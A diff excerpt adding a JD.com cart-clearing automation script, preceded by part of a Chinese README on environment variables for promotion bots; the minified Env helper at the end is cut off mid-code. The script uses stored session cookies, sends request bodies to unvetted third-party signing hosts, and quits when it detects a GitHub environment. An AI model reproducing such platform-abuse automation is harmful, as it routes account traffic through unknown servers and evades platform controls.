互助码 | 非必须 | 5/5 | 填写规则和上面类似或见下方[互助码的填写规则](#互助码的填写规则) | +| `PLANT_BEAN_SHARECODES` | 种豆得豆
互助码 | 非必须 | 9/3 | 填写规则和上面类似或见下方[互助码的填写规则](#互助码的填写规则) | +| `DDFACTORY_SHARECODES` | 东东工厂
互助码 | 非必须 | 5/3 | 填写规则和上面类似或见下方[互助码的填写规则](#互助码的填写规则) | +| `DREAM_FACTORY_SHARE_CODES` | 京喜工厂
互助码 | 非必须 | 不固定/3 | 填写规则和上面类似或见下方[互助码的填写规则](#互助码的填写规则) | +| `JDZZ_SHARECODES` | 京东赚赚
互助码 | 非必须 | 5/2 | 填写规则和上面类似,或见下方[互助码的填写规则](#互助码的填写规则) | +| `JDJOY_SHARECODES` | 疯狂的JOY
互助码 | 非必须 | 6/ | 填写规则和上面类似,或见下方[互助码的填写规则](#互助码的填写规则) | +| `BOOKSHOP_SHARECODES` | 京东书店
互助码 | 非必须 | 10/ | 填写规则和上面类似,或见下方[互助码的填写规则](#互助码的填写规则) | +| `JD_CASH_SHARECODES` | 签到领现金
互助码 | 非必须 | 10/ | 填写规则和上面类似,或见下方[互助码的填写规则](#互助码的填写规则) | +| `JDSGMH_SHARECODES` | 闪购盲盒
互助码 | 非必须 | 10/ | 填写规则和上面类似,或见下方[互助码的填写规则](#互助码的填写规则) | +| `JDCFD_SHARECODES` | 京喜财富岛
互助码 | 非必须 | 未知/未知 | 填写规则和上面类似,或见下方[互助码的填写规则](#互助码的填写规则) | +| `JDHEALTH_SHARECODES` | 东东健康社区
互助码 | 非必须 | 未知/未知 | 填写规则和上面类似,或见下方[互助码的填写规则](#互助码的填写规则) | +| `CITY_SHARECODES` | 城城领现金
互助码 | 非必须 | 未知/未知 | 填写规则和上面类似,或见下方[互助码的填写规则](#互助码的填写规则) | + +##### 控制脚本功能环境变量 + + +| Name | 归属 | 属性 | 说明 | +| :--------------------------: | :--------------------------: | :----: | ------------------------------------------------------------ | +| `JD_BEAN_STOP` | 京东多合一签到 | 非必须 | `jd_bean_sign.js`自定义延迟签到,单位毫秒.默认分批并发无延迟,
延迟作用于每个签到接口,如填入延迟则切换顺序签到(耗时较长),
如需填写建议输入数字`1`,详见[此处说明](https://github.com/NobyDa/Script/blob/master/JD-DailyBonus/JD_DailyBonus.js#L93) | +| `JD_BEAN_SIGN_STOP_NOTIFY` | 京东多合一签到 | 非必须 | `jd_bean_sign.js`脚本运行后不推送签到结果通知,默认推送,填`true`表示不发送通知 | +| `JD_BEAN_SIGN_NOTIFY_SIMPLE` | 京东多合一签到 | 非必须 | `jd_bean_sign.js`脚本运行后推送签到结果简洁版通知,
默认推送签到简洁结果,填`true`表示推送简洁通知,[效果图](./icon/bean_sign_simple.jpg) | +| `PET_NOTIFY_CONTROL` | 东东萌宠
推送开关 | 非必须 | 控制京东萌宠是否静默运行,
`false`为否(发送推送通知消息),`true`为是(即:不发送推送通知消息) | +| `FRUIT_NOTIFY_CONTROL` | 东东农场
推送开关 | 非必须 | 控制京东农场是否静默运行,
`false`为否(发送推送通知消息),`true`为是(即:不发送推送通知消息) | +| `CASH_NOTIFY_CONTROL` | 京东领现金
推送开关 | 非必须 | 控制京东领现金是否静默运行,
`false`为否(发送推送通知消息),`true`为是(即:不发送推送通知消息) | +| `CASH_EXCHANGE` | 京东领现金
红包兑换京豆开关 | 非必须 | 控制京东领现金是否把红包兑换成京豆,
`false`为否,`true`为是(即:花费2元红包兑换200京豆,一周可换四次),默认为`false` | +| `DDQ_NOTIFY_CONTROL` | 点点券
推送开关 | 非必须 | 控制点点券是否静默运行,
`false`为否(发送推送通知消息),`true`为是(即:不发送推送通知消息) | +| `JDZZ_NOTIFY_CONTROL` | 京东赚赚小程序
推送开关 | 非必须 | 控制京东赚赚小程序是否静默运行,
`false`为否(发送推送通知消息),`true`为是(即:不发送推送通知消息) | +| `MONEYTREE_NOTIFY_CONTROL` | 京东摇钱树
推送开关 | 非必须 | 控制京东摇钱树兑换0.07金贴后是否静默运行,
`false`为否(发送推送通知消息),`true`为是(即:不发送推送通知消息) | +| `JD_JOY_REWARD_NOTIFY` | 宠汪汪
兑换京豆推送开关 | 非必须 | 控制`jd_joy_reward.js`脚本是否静默运行,
`false`为否(发送推送通知消息),`true`为是(即:不发送推送通知消息) | +| `JOY_FEED_COUNT` | 宠汪汪喂食数量 | 非必须 | 控制`jd_joy_feedPets.js`脚本喂食数量,可以填的数字0,10,20,40,80,其他数字不可. | +| `JOY_HELP_FEED` | 宠汪汪帮好友喂食 | 非必须 | 控制`jd_joy_steal.js`脚本是否给好友喂食,`false`为否,`true`为是(给好友喂食) | +| `JOY_RUN_FLAG` | 宠汪汪是否赛跑 | 非必须 | 控制`jd_joy.js`脚本是否参加赛跑(默认参加双人赛跑),
`false`为否,`true`为是,脚本默认是`true` | +| `JOY_TEAM_LEVEL` | 宠汪汪
参加什么级别的赛跑 | 非必须 | 控制`jd_joy.js`脚本参加几人的赛跑,可选数字为`2`,`10`,`50`,
其中2代表参加双人PK赛,10代表参加10人突围赛,
50代表参加50人挑战赛(注:此项功能在`JOY_RUN_FLAG`为true的时候才生效),
如若想设置不同账号参加不同类别的比赛则用&区分即可(如下三个账号:`2&10&50`) | +| `JOY_RUN_NOTIFY` | 宠汪汪
宠汪汪赛跑获胜后是否推送通知 | 非必须 | 控制`jd_joy.js`脚本宠汪汪赛跑获胜后是否推送通知,
`false`为否(不推送通知消息),`true`为是(即:发送推送通知消息)
| +| `JOY_RUN_HELP_MYSELF` | 宠汪汪
赛跑自己账号内部互助 | 非必须 | 输入`true`为开启内部互助 | +| `JD_JOY_REWARD_NAME` | 宠汪汪
积分兑换多少京豆 | 非必须 | 目前可填值为`20`或者`500`,脚本默认`0`,`0`表示不兑换京豆 | +| `JOY_RUN_TOKEN` | 宠汪汪
赛跑token | 非必须 | 需自行抓包,宠汪汪小程序获取token,点击`发现`或`我的`,寻找`^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/user\/detail\?openId=`获取token | +| `MARKET_COIN_TO_BEANS` | 东东超市
兑换京豆数量 | 非必须 | 控制`jd_blueCoin.js`兑换京豆数量,
可输入值为`20`或者`1000`的数字或者其他商品的名称,例如`碧浪洗衣凝珠` | +| `MARKET_REWARD_NOTIFY` | 东东超市
兑换奖品推送开关 | 非必须 | 控制`jd_blueCoin.js`兑换奖品成功后是否静默运行,
`false`为否(发送推送通知消息),`true`为是(即:不发送推送通知消息) | +| `JOIN_PK_TEAM` | 东东超市
自动参加PK队伍 | 非必须 | 每次pk活动参加作者创建的pk队伍,`true`表示参加,`false`表示不参加 | +| `SUPERMARKET_LOTTERY` | 东东超市抽奖 | 非必须 | 每天运行脚本是否使用金币去抽奖,`true`表示抽奖,`false`表示不抽奖 | +| `FRUIT_BEAN_CARD` | 东东农场
使用水滴换豆卡 | 非必须 | 东东农场使用水滴换豆卡(如果出现限时活动时100g水换20豆,此时比浇水划算,推荐换豆),
`true`表示换豆(不浇水),`false`表示不换豆(继续浇水),脚本默认是浇水 | +| `UN_SUBSCRIBES` | jd_unsubscribe.js | 非必须 | 共四个参数,换行隔开.四个参数分别表示
`是否取关全部商品(0表示一个都不)`,`是否取关全部店铺数(0表示一个都不)`,`遇到此商品不再进行取关`,`遇到此店铺不再进行取关`,[具体使用往下看](#取关店铺环境变量的说明) | +| `JDJOY_HELPSELF` | 疯狂的JOY
循环助力 | 非必须 | 疯狂的JOY循环助力,`true`表示循环助力,`false`表示不循环助力,默认不开启循环助力。 | +| `JDJOY_APPLYJDBEAN` | 疯狂的JOY
京豆兑换 | 非必须 | 疯狂的JOY京豆兑换,目前最小值为2000京豆(详情请查看活动页面-提现京豆),
默认数字`0`不开启京豆兑换。 | +| `BUY_JOY_LEVEL` | 疯狂的JOY
购买joy等级 | 非必须 | 疯狂的JOY自动购买什么等级的JOY | +| `MONEY_TREE_SELL_FRUIT` | 摇钱树
是否卖出金果 | 非必须 | 控制摇钱树脚本是否自动卖出金果兑换成金币,`true`卖出,`false`不卖出,默认`false` | +| `FACTORAY_WANTPRODUCT_NAME` | 东东工厂
心仪商品 | 非必须 | 提供心仪商品名称(请尽量填写完整和别的商品有区分度),达到条件后兑换,
如不提供则会兑换当前所选商品 | +| `DREAMFACTORY_FORBID_ACCOUNT`| 京喜工厂
控制哪个京东账号不运行此脚本 | 非必须 | 输入`1`代表第一个京东账号不运行,多个使用`&`连接,例:`1&3`代表账号1和账号3不运行京喜工厂脚本,注:输入`0`,代表全部账号不运行京喜工厂脚本 | +| `JDFACTORY_FORBID_ACCOUNT`| 东东工厂
控制哪个京东账号不运行此脚本 | 非必须 | 输入`1`代表第一个京东账号不运行,多个使用`&`连接,例:`1&3`代表账号1和账号3不运行东东工厂脚本,注:输入`0`,代表全部账号不运行东东工厂脚本 | +| `CFD_NOTIFY_CONTROL` | 京喜财富岛
控制是否运行脚本后通知 | 非必须 | 输入`true`为通知,不填则为不通知 | +| `JXNC_NOTIFY_LEVEL` | 京喜农场通知控制
推送开关,默认1 | 非必须 | 通知级别 0=只通知成熟;1=本次获得水滴>0;2=任务执行;3=任务执行+未种植种子 | +| `PURCHASE_SHOPS` | 执行`lxk0301/jd_scripts`仓库的脚本是否做加物品至购物车任务。默认关闭不做加购物车任务 | 非必须 | 如需做此类型任务。请设置`true`,目前东东小窝(jd_small_home.js)脚本会有加购任务 | +| `TUAN_ACTIVEID` | 京喜工厂拼团瓜分电力活动的`activeId`
默认读取作者设置的 | 非必须 | 如出现脚本开团提示失败:`活动已结束,请稍后再试~`,可自行抓包替换(开启抓包,进入拼团瓜分电力页面,寻找带有`tuan`的链接里面的`activeId=`) | +| `HELP_AUTHOR` | 是否给作者助力 免费拿,极速版拆红包,省钱大赢家等活动.
默认是 | 非必须 | 填`false`可关闭此助力 | + + +##### 互助码的填写规则 + + > 互助码如何获取:长期活动可在jd_get_share_code.js里面查找,短期活动需运行相应脚本后,在日志里面可以找到。 + +同一个京东账号的好友互助码用@隔开,不同京东账号互助码用&或者换行隔开,下面给一个文字示例和具体互助码示例说明 + +两个账号各两个互助码的文字示例: + + ``` +京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2 + ``` + + 两个账号各两个互助码的真实示例: + ``` +0a74407df5df4fa99672a037eec61f7e@dbb21614667246fabcfd9685b6f448f3&6fbd26cc27ac44d6a7fed34092453f77@61ff5c624949454aa88561f2cd721bf6&6fbd26cc27ac44d6a7fed34092453f77@61ff5c624949454aa88561f2cd721bf6 + ``` + + + +#### 取关店铺环境变量的说明 + + > 环境变量内容的意思依次是`是否取关全部商品(0表示一个都不)`,`是否取关全部店铺数(0表示一个都不)`,`遇到此商品不再进行取关`,`遇到此店铺不再进行取关` + +例如1:不要取关任何商品和店铺,则输入`0&0` +例如2:我想商品遇到关键字 `iPhone12` 停止取关,店铺遇到 `Apple京东自营旗舰店` 不再取关,则输入`10&10&iPhone12&Apple京东自营旗舰店`(前面两个参数非0即可) + +#### 关于脚本推送通知频率 + + > 如果你填写了推送通知方式中的某一种通知所需环境变量,那么脚本通知情况如下: + + > 目前默认只有jd_fruit.js,jd_pet.js,jd_bean_sign.js,jd_bean_change.js,jd_jxnc.js这些脚本(默认)每次运行后都通知 + + ``` +其余的脚本平常运行都是不通知,只有在京东cookie失效以及达到部分条件后,才会推送通知 + ``` + diff --git a/gua_cleancart_ddo.js b/gua_cleancart_ddo.js new file mode 100644 index 0000000..ce63dc9 --- /dev/null +++ b/gua_cleancart_ddo.js @@ -0,0 +1,375 @@ +/* +清空购物车 +更新时间:2021-10-27 +因其他脚本会加入商品到购物车,故此脚本用来清空购物车 +包括预售 +需要算法支持 +默认:不执行 如需要请添加环境变量 +gua_cleancart_Run="true" +gua_cleancart_SignUrl="" # 算法url + +—————————————— +1.@&@ 前面加数字 指定账号pin +如果有中文请填写中文 +2.|-| 账号之间隔开 +3.英文大小写请填清楚 +4.优先匹配账号再匹配* +5.定义不清空的[商品]名称支持模糊匹配 +6.pin@&@ 👉 指定账号(后面添加商品 前面账号[pin] *表示所有账号 +7.|-| 👉 账号之间隔开 +—————————————— + +商品名称规则 +——————gua_cleancart_products———————— +pin2@&@商品1,商品2👉该pin这几个商品名不清空 +pin5@&@👉该pin全清 +pin3@&@不清空👉该pin不清空 +*@&@不清空👉所有账号不请空 +*@&@👉所有账号清空 + +优先匹配账号再匹配* +|-| 👉 账号之间隔开 +有填帐号pin则*不适配 +—————————————— +如果有不清空的一定要加上"*@&@不清空" +防止没指定的账号购物车全清空 + +*/ +let jdSignUrl = '' // 算法url +let cleancartRun = 'false' +let cleancartProducts = '' +let isSignError = false; + +const $ = new Env('清空购物车'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +message = '' + +jdSignUrl = $.isNode() ? (process.env.gua_cleancart_SignUrl ? process.env.gua_cleancart_SignUrl : `${jdSignUrl}`) : ($.getdata('gua_cleancart_SignUrl') ? $.getdata('gua_cleancart_SignUrl') : `${jdSignUrl}`); + +cleancartRun = $.isNode() ? (process.env.gua_cleancart_Run ? process.env.gua_cleancart_Run : `${cleancartRun}`) : ($.getdata('gua_cleancart_Run') ? $.getdata('gua_cleancart_Run') : `${cleancartRun}`); + +cleancartProducts = $.isNode() ? (process.env.gua_cleancart_products ? process.env.gua_cleancart_products : `${cleancartProducts}`) : ($.getdata('gua_cleancart_products') ? $.getdata('gua_cleancart_products') : `${cleancartProducts}`); + +let productsArr = [] +let cleancartProductsAll = [] +for (let i of cleancartProducts && cleancartProducts.split('|-|')) { + productsArr.push(i) +} +for (let i of cleancartProducts && cleancartProducts.split('|-|')) { + productsArr.push(i) +} +for (let i in productsArr) { + if(productsArr[i].indexOf('@&@') > -1){ + let arr = productsArr[i].split('@&@') + cleancartProductsAll[arr[0]] = arr[1].split(',') + } +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if(cleancartRun !== 'true'){ + console.log('脚本停止\n请添加环境变量[gua_cleancart_Run]为"true"') + return + } + if(!cleancartProducts){ + console.log('脚本停止\n请添加环境变量[gua_cleancart_products]\n清空商品\n内容规则看脚本文件') + return + } + $.out = false + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if(cleancartProductsAll[$.UserName]){ + $.cleancartProductsArr = cleancartProductsAll[$.UserName] + }else if(cleancartProductsAll["*"]){ + $.cleancartProductsArr = cleancartProductsAll["*"] + }else $.cleancartProductsArr = false + if($.cleancartProductsArr) console.log($.cleancartProductsArr) + await run(); + if($.out) break + } + } + if(message){ + $.msg($.name, ``, `${message}`); + if ($.isNode()){ + await notify.sendNotify(`${$.name}`, `${message}`); + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + +async function run(){ + try{ + let msg = '' + let signBody = `{"homeWishListUserFlag":"1","userType":"0","updateTag":true,"showPlusEntry":"2","hitNewUIStatus":"1","cvhv":"049591","cartuuid":"hjudwgohxzVu96krv/T6Hg==","adid":""}` + let body = await GetjdSign('cartClearQuery', signBody) + if (isSignError) { + console.log(`Sign获取失败,等待2秒后再次尝试...`) + await $.wait(2 * 1000); + isSignError = false; + body = await GetjdSign('cartClearQuery', signBody); + } + if (isSignError) { + console.log(`Sign获取失败,等待2秒后再次尝试...`) + await $.wait(2 * 1000); + isSignError = false; + body = await GetjdSign('cartClearQuery', signBody); + } + if (isSignError) { + console.log(`Sign获取失败,等待2秒后再次尝试...`) + await $.wait(2 * 1000); + isSignError = false; + body = await GetjdSign('cartClearQuery', signBody); + } + if($.out) return + if(!body){ + console.log('获取不到算法') + return + } + let data = await jdApi('cartClearQuery',body) + let res = $.toObj(data,data); + if(typeof res == 'object' && res){ + if(res.resultCode == 0){ + if(!res.clearCartInfo || !res.subTitle){ + msg += `${res.mainTitle}\n` + console.log(res.mainTitle) + }else{ + let num = 0 + if(res.subTitle){ + num = res.subTitle.match(/共(\d+)件商品/).length > 0 && res.subTitle.match(/共(\d+)件商品/)[1] || 0 + msg += res.subTitle + "\n" + console.log(res.subTitle) + } + // console.log(`共${num}件商品`) + if(num != 0){ + let operations = [] + let operNum = 0 + for(let a of res.clearCartInfo || {}){ + // console.log(a.groupName) + // if(a.groupName.indexOf('7天前加入购物车') > -1){ + for(let s of a.groupDetails || []){ + if(toSDS(s.name)){ + // console.log(s.unusable,s.skuUuid,s.name) + operNum += s.clearSkus && s.clearSkus.length || 1; + operations.push({ + "itemType": s.itemType+"", + "suitType": s.suitType, + "skuUuid": s.skuUuid+"", + "itemId": s.itemId || s.skuId, + "useUuid": typeof s.useUuid !== 'undefined' && s.useUuid || false + }) + } + } + // } + } + console.log(`准备清空${operNum}件商品`) + if(operations.length == 0){ + console.log(`清空${operNum}件商品|没有找到要清空的商品`) + msg += `清空${operNum}件商品|没有找到要清空的商品\n` + }else{ + let clearBody = `{"homeWishListUserFlag":"1","userType":"0","updateTag":false,"showPlusEntry":"2","hitNewUIStatus":"1","cvhv":"049591","cartuuid":"hjudwgohxzVu96krv/T6Hg==","operations":${$.toStr(operations,operations)},"adid":"","coord_type":"0"}` + isSignError = false; + clearBody = await GetjdSign('cartClearRemove', clearBody); + if (isSignError) { + console.log(`Sign获取失败,等待2秒后再次尝试...`) + await $.wait(2 * 1000); + isSignError = false; + clearBody = await GetjdSign('cartClearRemove', clearBody); + } + if (isSignError) { + console.log(`Sign获取失败,等待2秒后再次尝试...`) + await $.wait(2 * 1000); + isSignError = false; + clearBody = await GetjdSign('cartClearRemove', clearBody); + } + if (isSignError) { + console.log(`Sign获取失败,等待2秒后再次尝试...`) + await $.wait(2 * 1000); + isSignError = false; + clearBody = await GetjdSign('cartClearRemove', clearBody); + } + + if($.out) return + if(!clearBody){ + console.log('获取不到算法') + }else{ + let clearData = await jdApi('cartClearRemove',clearBody) + let clearRes = $.toObj(clearData,clearData); + if(typeof clearRes == 'object'){ + if(clearRes.resultCode == 0) { + msg += `清空${operNum}件商品|✅\n` + console.log(`清空${operNum}件商品|✅\n`) + }else if(clearRes.mainTitle){ + msg += `清空${operNum}件商品|${clearRes.mainTitle}\n` + console.log(`清空${operNum}件商品|${clearRes.mainTitle}\n`) + }else{ + msg += `清空${operNum}件商品|❌\n` + console.log(`清空${operNum}件商品|❌\n`) + console.log(clearData) + } + }else{ + msg += `清空${operNum}件商品|❌\n` + console.log(`清空${operNum}件商品|❌\n`) + console.log(clearData) + } + } + } + }else if(res.mainTitle){ + msg += `${res.mainTitle}\n` + console.log(res.mainTitle) + }else{ + msg += `未识别到购物车有商品\n` + console.log(data) + } + } + }else{ + console.log(data) + } + }else{ + console.log(data) + } + if(msg){ + message += `【京东账号${$.index}】${$.nickName || $.UserName}\n${msg}\n` + } + await $.wait(parseInt(Math.random() * 2000 + 2000, 10)) + }catch(e){ + console.log(e) + } +} +function toSDS(name){ + let res = true + if($.cleancartProductsArr === false) return false + for(let t of $.cleancartProductsArr || []){ + if(t && name.indexOf(t) > -1 || t == '不清空'){ + res = false + break + } + } + return res +} +function jdApi(functionId,body) { + if(!functionId || !body) return + return new Promise(resolve => { + $.post(taskPostUrl(`/client.action?functionId=${functionId}`, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + let res = $.toObj(data,data); + if(typeof res == 'object'){ + if(res.mainTitle) console.log(res.mainTitle) + if(res.resultCode == 0){ + resolve(res); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(''); + } + }) + }) +} + +function GetjdSign(functionid, body) { + return new Promise(async resolve => { + let data = { + "functionId": functionid, + "body": body, + "client": "apple", + "clientVersion": "10.1.0" + } + let HostArr = ['jdsign.cf', 'signer.nz.lu'] + let Host = HostArr[Math.floor((Math.random() * HostArr.length))] + let options = { + url: `https://cdn.nz.lu/ddo`, + body: JSON.stringify(data), + headers: { + Host, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + }, + timeout: 15000 + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + isSignError = true; + //console.log(`${$.name} getSign API请求失败,请检查网路重试`) + } else {} + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} + + +function taskPostUrl(url, body) { + return { + url: `https://api.m.jd.com${url}`, + body: body, + headers: { + "Accept": "*/*", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': `${cookie}`, + "Host": "api.m.jd.com", + "User-Agent": "JD4iPhone/167853 (iPhone; iOS; Scale/2.00)" , + } + } +} + +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let 